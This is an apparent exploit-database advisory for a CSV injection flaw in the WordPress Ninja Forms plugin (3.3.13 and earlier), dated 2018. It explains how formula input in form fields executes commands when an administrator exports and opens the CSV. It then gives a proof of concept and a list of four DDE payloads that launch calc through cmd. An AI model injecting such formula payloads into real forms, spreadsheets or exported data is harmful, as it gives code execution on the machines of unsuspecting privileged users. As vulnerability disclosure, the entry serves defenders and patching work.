# Exploit Title: Wordpress Plugin Ninja Forms - CSV Injection # Exploit Author: Mostafa Gharzi # Website: https://www.certcc.ir # Date: 2018-08-20 # Google Dork: N/A # Vendor: The WP Ninjas # Software Link: https://wordpress.org/plugins/ninja-forms/ # Affected Version: 3.3.13 and before # Active installations: 1+ million # Patched Version: unpatched # Category: Web Application # Platform: PHP # Tested on: Win10x64 & Kali Linux # 1. Plugin Description: # Ninja Forms is the ultimate FREE form creation tool for WordPress. Build forms within minutes using # a simple yet powerful drag-and-drop form creator. For beginners, quickly and easily design complex forms # with absolutely no code. For developers, utilize built-in hooks, filters, and even custom field templates # to do whatever you need at any step in the form building or submission using Ninja Forms as a framework. # Input information to the form is stored and exported in a csv file. # 2. Technical Description: # WordPress Ninja Forms plugin version 3.3.13 and before are affected by Remote Code Execution # through the CSV injection vulnerability. This allows an application user to inject commands as part # of the fields of forms and these commands are executed when a user with greater privilege exports # the data in CSV and opens that file on his machine. # 3. Proof Of Concept (PoC): # Enter the payload =SUM(1+1)*cmd|' /C calc'!A0 in any field of the form, for example, in name field. # When the user with high privileges logs in to the application, export data in CSV and opens the # generated file, the command is executed and the calculator will run open on the machine. # 4. Payloads: =SUM(1+1)*cmd|' /C calc'!A0 +SUM(1+1)*cmd|' /C calc'!A0 -SUM(1+1)*cmd|' /C calc'!A0 @SUM(1+1)*cmd|' /C calc'!A0